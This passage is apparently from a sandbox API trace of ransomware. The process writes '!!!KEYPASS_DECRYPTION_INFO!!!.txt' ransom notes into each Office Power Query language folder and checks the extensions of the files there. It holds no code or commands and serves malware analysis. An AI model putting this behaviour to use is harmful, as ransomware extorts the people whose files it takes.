lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.974] WriteFile (in: hFile=0x744, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.974] WriteFile (in: hFile=0x744, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.974] CloseHandle (hObject=0x744) returned 1 [0248.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38fffb0 [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.975] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.975] FindNextFileW (in: hFindFile=0x38fffb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.975] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.975] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.975] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.975] GetLastError () returned 0x3f0 [0248.975] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.975] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750 [0248.981] GetFileType (hFile=0x750) returned 0x1 [0248.981] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.981] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.981] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.981] WriteFile (in: hFile=0x750, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.982] WriteFile (in: hFile=0x750, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.982] CloseHandle (hObject=0x750) returned 1 [0248.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3900070 [0248.982] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.982] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.983] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.983] FindNextFileW (in: hFindFile=0x3900070, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.983] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.983] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.983] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.983] GetLastError () returned 0x3f0 [0248.983] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.983] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c [0248.996] GetFileType (hFile=0x74c) returned 0x1 [0248.996] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.996] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.996] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.996] WriteFile (in: hFile=0x74c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.997] WriteFile (in: hFile=0x74c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.997] CloseHandle (hObject=0x74c) returned 1 [0248.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffef0 [0248.997] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.997] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.997] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.998] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.998] FindNextFileW (in: hFindFile=0x38ffef0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.998] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.998] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.998] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.998] GetLastError () returned 0x3f0 [0248.998] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.998] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sq\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x754 [0249.002] GetFileType (hFile=0x754) returned 0x1 [0249.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.003] WriteFile (in: hFile=0x754, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.004] WriteFile (in: hFile=0x754, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.004] CloseHandle (hObject=0x754) returned 1 [0249.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x39000b0 [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.005] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.005] FindNextFileW (in: hFindFile=0x39000b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.005] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sqmapi_x64.dll") returned=".dll" [0249.060] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.060] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.060] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.060] GetLastError () returned 0x3f0 [0249.060] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.060] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sr-cyrl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758 [0249.115] GetFileType (hFile=0x758) returned 0x1 [0249.115] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.115] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.115] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.115] WriteFile (in: hFile=0x758, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.116] WriteFile (in: hFile=0x758, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.116] CloseHandle (hObject=0x758) returned 1 [0249.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffc70 [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.117] FindNextFileW (in: hFindFile=0x38ffc70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.117] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 